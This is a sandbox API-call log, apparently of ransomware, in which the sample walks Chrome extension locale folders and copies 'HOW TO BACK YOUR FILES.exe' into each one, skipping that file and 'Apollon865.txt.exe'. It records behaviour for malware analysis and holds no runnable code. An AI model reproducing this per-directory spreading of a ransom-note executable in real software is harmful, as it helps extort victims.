	[0050.209] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.214] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.214] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35fffcb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35fffcb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.214] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.214] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.214] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es"
	[0050.214] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es"
	[0050.214] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.214] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.218] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.218] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35fffcb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35fffcb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.218] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.218] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.218] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US"
	[0050.218] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US"
	[0050.218] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.218] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.223] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.223] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x36025e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36025e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.223] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.223] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.223] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB"
	[0050.223] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB"
	[0050.223] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.223] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.228] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.228] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x36025e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36025e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.228] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.228] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.228] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el"
	[0050.228] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el"
	[0050.228] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.228] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.233] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.233] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x36025e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36025e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.233] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.233] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.233] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de"
	[0050.233] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de"
	[0050.233] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.233] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.238] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.238] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3604bf70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3604bf70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.238] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.238] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.238] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da"
	[0050.238] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da"
	[0050.238] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.238] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.242] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.242] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3604bf70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3604bf70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.242] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.242] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.242] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs"
	[0050.242] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs"
	[0050.242] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.243] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.247] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.247] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3604bf70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3604bf70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.247] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.247] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.247] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca"
	[0050.247] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca"
	[0050.247] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.247] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.251] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.251] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3604bf70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3604bf70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.252] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.252] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.252] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg"
